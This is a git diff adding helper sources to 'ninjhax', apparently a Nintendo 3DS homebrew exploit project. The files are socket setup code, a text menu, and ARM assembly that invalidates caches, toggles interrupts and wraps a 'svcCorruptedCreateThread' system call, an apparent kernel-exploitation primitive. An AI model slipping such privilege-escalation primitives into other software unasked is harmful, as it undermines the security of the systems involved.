||||
printf("%s\n", msg);
|
||||
return 1;
|
||||
}
|
||||
27
ninjhax/source/sochlp.c
Normal file
27
ninjhax/source/sochlp.c
Normal file
@@ -0,0 +1,27 @@
|
||||
#include <3ds.h>
|
||||
#include "sochlp.h"
|
||||
|
||||
u32 soc_init (void) {
|
||||
Result ret;
|
||||
u32 result = 0;
|
||||
|
||||
SOC_buffer = (u32*)memalign(SOC_ALIGN, SOC_BUFFERSIZE);
|
||||
if (SOC_buffer != 0) {
|
||||
ret = SOC_Initialize(SOC_buffer, SOC_BUFFERSIZE);
|
||||
if (ret == 0) {
|
||||
result = 1;
|
||||
} else {
|
||||
free(SOC_buffer);
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
u32 soc_exit (void) {
|
||||
if (SOC_buffer) {
|
||||
SOC_Shutdown();
|
||||
free(SOC_buffer);
|
||||
SOC_buffer = 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
45
ninjhax/source/textmenu.c
Normal file
45
ninjhax/source/textmenu.c
Normal file
@@ -0,0 +1,45 @@
|
||||
#include <3ds.h>
|
||||
#include "textmenu.h"
|
||||
|
||||
s32 menu_get_element_count (struct menu_t *menu) {
|
||||
s32 i = 0;
|
||||
|
||||
if (menu) {
|
||||
i = menu->element_count;
|
||||
}
|
||||
return i;
|
||||
}
|
||||
|
||||
s32 menu_is_valid_index (s32 idx, struct menu_t *menu) {
|
||||
return (menu != 0 && (idx >= 0 && idx < menu_get_element_count(menu)));
|
||||
}
|
||||
|
||||
s32 menu_update_index (s32 idx, struct menu_t *menu) {
|
||||
s32 newidx = 0;
|
||||
s32 count = menu_get_element_count(menu);
|
||||
|
||||
newidx = idx < 0 ? count - 1 : idx >= count ? 0 : idx;
|
||||
|
||||
return newidx;
|
||||
}
|
||||
|
||||
const char *menu_get_element_name (s32 idx, struct menu_t *menu) {
|
||||
return menu_is_valid_index(idx, menu) ? menu->element[idx].name : 0;
|
||||
}
|
||||
|
||||
menu_func_t *menu_get_element_function (s32 idx, struct menu_t *menu) {
|
||||
return menu_is_valid_index(idx, menu) ? menu->element[idx].func : 0;
|
||||
}
|
||||
|
||||
s32 menu_execute_function (s32 idx, struct menu_t *menu, void *param) {
|
||||
s32 result = 0;
|
||||
menu_func_t *f;
|
||||
|
||||
if (menu_is_valid_index(idx, menu)) {
|
||||
f = menu_get_element_function(idx, menu);
|
||||
if (f)
|
||||
result = f(idx, param);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
37
ninjhax/source/utils.s
Normal file
37
ninjhax/source/utils.s
Normal file
@@ -0,0 +1,37 @@
|
||||
.arm
|
||||
.align 4
|
||||
.code 32
|
||||
.text
|
||||
|
||||
.global InvalidateEntireInstructionCache
|
||||
.type InvalidateEntireInstructionCache, %function
|
||||
InvalidateEntireInstructionCache:
|
||||
mov r0, #0
|
||||
mcr p15, 0, r0, c7, c5, 0
|
||||
bx lr
|
||||
|
||||
.global CleanEntireDataCache
|
||||
.type CleanEntireDataCache, %function
|
||||
CleanEntireDataCache:
|
||||
mov r0, #0
|
||||
mcr p15, 0, r0, c7, c10, 0
|
||||
bx lr
|
||||
|
||||
.global DisableInterrupts
|
||||
.type DisableInterrupts, %function
|
||||
DisableInterrupts:
|
||||
mrs r0, cpsr
|
||||
CPSID I
|
||||
bx lr
|
||||
|
||||
.global EnableInterrupts
|
||||
.type EnableInterrupts, %function
|
||||
EnableInterrupts:
|
||||
msr cpsr_cx, r0
|
||||
bx lr
|
||||
|
||||
.global svcCorruptedCreateThread
|
||||
.type svcCorruptedCreateThread, %function
|
||||
svcCorruptedCreateThread:
|
||||
svc 0x08
|
||||
bx lr
|
||||
Reference in New Issue
Block a user